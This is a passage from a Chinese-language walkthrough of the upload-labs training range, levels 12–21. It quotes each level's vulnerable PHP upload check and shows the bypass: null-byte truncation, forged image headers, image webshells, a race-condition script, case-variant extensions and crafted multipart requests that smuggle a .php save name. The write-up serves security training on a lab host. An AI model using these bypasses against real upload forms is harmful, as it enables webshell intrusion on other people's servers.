} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

解决方法

上传的路径可控,这里可以使用%00截断,成功上传后,%00后的不会被识别

第十三关00截断

数据包分析

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码.

解决方法

二进制00截断

第十四关文件头伪造

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 通过读文件的前2个字节判断文件类型,因此可以修改包类型
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
// unpack - 从字符串中解包二进制数据
$strInfo = @unpack("C2chars", $bin);
// intval - 获取变量的整数值
// 返回值: 返回一个关联数组,其中包含二进制字符串的未打包元素.
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

解决方法

1
2
# 将Content-Type和文件后缀名修改为image/gif以及.jpg
# 在文件头中加入:GIF89a

第十五关文件头伪造

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 根据图像类型判断是否允许上传
function isImage($filename){
$types = '.jpeg|.png|.gif';
// file_exists - 检查文件或目录是否存在
if(file_exists($filename)){
// getimagesize - 取得图像大小
/*返回一个具有四个单元的数组.索引 0 包含图像宽度的像素值,索引 1 包含图像高度的像素值.索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM.这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应.索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记.
*/
$info = getimagesize($filename);
// image_type_to_extension - 取得图像类型的文件后缀
$ext = image_type_to_extension($info[2]);
// stripos - 查找字符串首次出现的位置(不区分大小写)
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

解决方法

和上一关一样直接上传图片马

第十六关文件类型绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

解决方法

和上一关一样直接上传图片马

第十七关二次渲染

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

解决方法

  1. 先上传一个正常的gif文件,然后在下载下来用010对比上传前后的gif动图

  2. 修改源文件中和渲染后一样的地方

  3. 将保存后的图片重新上传

第十八关条件竞争

基本概念:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中.

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果.

漏洞逻辑:首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件再删掉.

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
// 包含配置文件
include '../config.php';
// 包含头部文件
include '../head.php';
// 包含菜单文件
include '../menu.php';

// 初始化上传状态和消息
$is_upload = false;
$msg = null;

// 处理表单提交
if(isset($_POST['submit'])){
// 允许的文件类型
$ext_arr = array('jpg','png','gif');
// 获取上传文件名
$file_name = $_FILES['upload_file']['name'];
// 获取临时文件路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 获取文件扩展名
$file_ext = substr($file_name,strrpos($file_name,".")+1);
// 构建上传文件路径
$upload_file = UPLOAD_PATH . '/' . $file_name;
echo $upload_file;

// 尝试移动上传文件
if(move_uploaded_file($temp_file, $upload_file)){
// 检查文件类型
if(in_array($file_ext,$ext_arr)){
// 生成新的文件名
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
// 重命名上传文件
rename($upload_file, $img_path);
// 设置上传状态为成功
$is_upload = true;
}else{
// 不允许的文件类型,设置错误消息
$msg = "只允许上传.jpg|.png|.gif类型文件!";
// 删除上传的文件
unlink($upload_file);
}
}else{
// 移动文件失败,设置错误消息和错误代码
$msg = '上传出错! 错误代码: ' . $_FILES['upload_file']['error'];
}
}
?>

<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器.</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
// 根据参数决定是否显示代码
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>

<?php
// 包含底部文件
include '../footer.php';
?>

解决方法

1
2
3
4
5
6
7
8
9
10
11
12
# Python脚本
import requests

url1 = "http://192.168.2.240/upload-labs/upload/jiangjiyue.php"
url2 = "http://192.168.2.240/upload-labs/upload/flag.php"
while True:
a1 = requests.get(url1)
a2 = requests.get(url2)
# print(a2)
if a2.status_code == 200:
print('success')
break
1
2
# php脚本
<?php fwrite(fopen('flag.php', w), "<?php phpinfo();?>"); ?>

先启动Python脚本,再去用burp发包

第十九关图片马绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# 分析:本Pass做了白名单校验,文件上传后先保存在对象中,随后对文件进行判断存在、检查扩展名、检查大小、重命名、移动操作,没有判断文件头和二次渲染.我们可以使用图片木马配合文件包含漏洞进行绕过.(虽然进行了移动和重命名,但是网页会回显地址)
# HTTP EXP:直接将shell.php改为shell.jpg,上传,随后使用文件包含漏洞访问该文件(本Pass将文件上传至根目录下)
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名.';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录.';
break;
case -2:
$msg = '上传失败,上传目录不可写.';
break;
case -3:
$msg = '上传失败,无法上传该类型文件.';
break;
case -4:
$msg = '上传失败,上传的文件过大.';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件.';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录.';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// 如果检查文件是否存在的标志设置为1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// 我们已经准备好将文件移动到目标

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// 检查是否需要重命名文件

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}


return $this->resultUpload( "SUCCESS" );

}
};

解决方法

直接上传图片马,然后配合文件包含

第二十关大小写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 本Pass只对保存名进行黑名单判断,该做的防护全部没做.所以我们进行大小写绕过,使用BurpSuite截包,直接将保存名改为shell.Php即可绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解决方法

1
2
3
4
5
6
7
8
9
10
# exp
------WebKitFormBoundaryvTf6MJ5w8rVUfWjt
Content-Disposition: form-data; name="upload_file"; filename="jiangjiyue.phP"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryvTf6MJ5w8rVUfWjt
Content-Disposition: form-data; name="save_name"

upload-19.pHp

第二十一代码审计绕过

代码分析

本Pass做了如下校验:
1. 验证MIME类型(这个很好解决)
2. 验证文件名.验证文件名操作如下:
1. empty()配合三运运算符检查文件名是否为空.
2. 如果$file不为数组则将$file打散为数组.(这步很关键)
3. end()函数提取数组最后一个元素为后缀名.
4. 确定白名单
5. 将文件名设置为数组索引为零的元素与数组索引为元素总个数减一的元素合并.
6. 上传、改名、移动.
7. 第二步使用if判断$file是否为数组,是则跳过,不是则打散为数组.所以我们可以在上传中途控制save_name参数,随意操作POST数组索引进行绕过,这样$file已经是数组,不会被重新打散.

解决方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# HTTP EXP:
先将Content-type改为image/jpeg
reset()取数组索引为0的元素为文件名,所以将save_name[0]设置为"shell.php".
save_name[1]不设置,使count()结果为2.
save_name[2]为jpg.
拼接结果为shell.php,$ext值为jpg.

------WebKitFormBoundaryB5mJk8YZmYu9lgAf
Content-Disposition: form-data; name="upload_file"; filename="jiangjiyue.php"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundaryB5mJk8YZmYu9lgAf
Content-Disposition: form-data; name="save_name[0]"

shell.php/
------WebKitFormBoundaryB5mJk8YZmYu9lgAf
Content-Disposition: form-data; name="save_name[2]"

jpg
------WebKitFormBoundaryB5mJk8YZmYu9lgAf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryB5mJk8YZmYu9lgAf--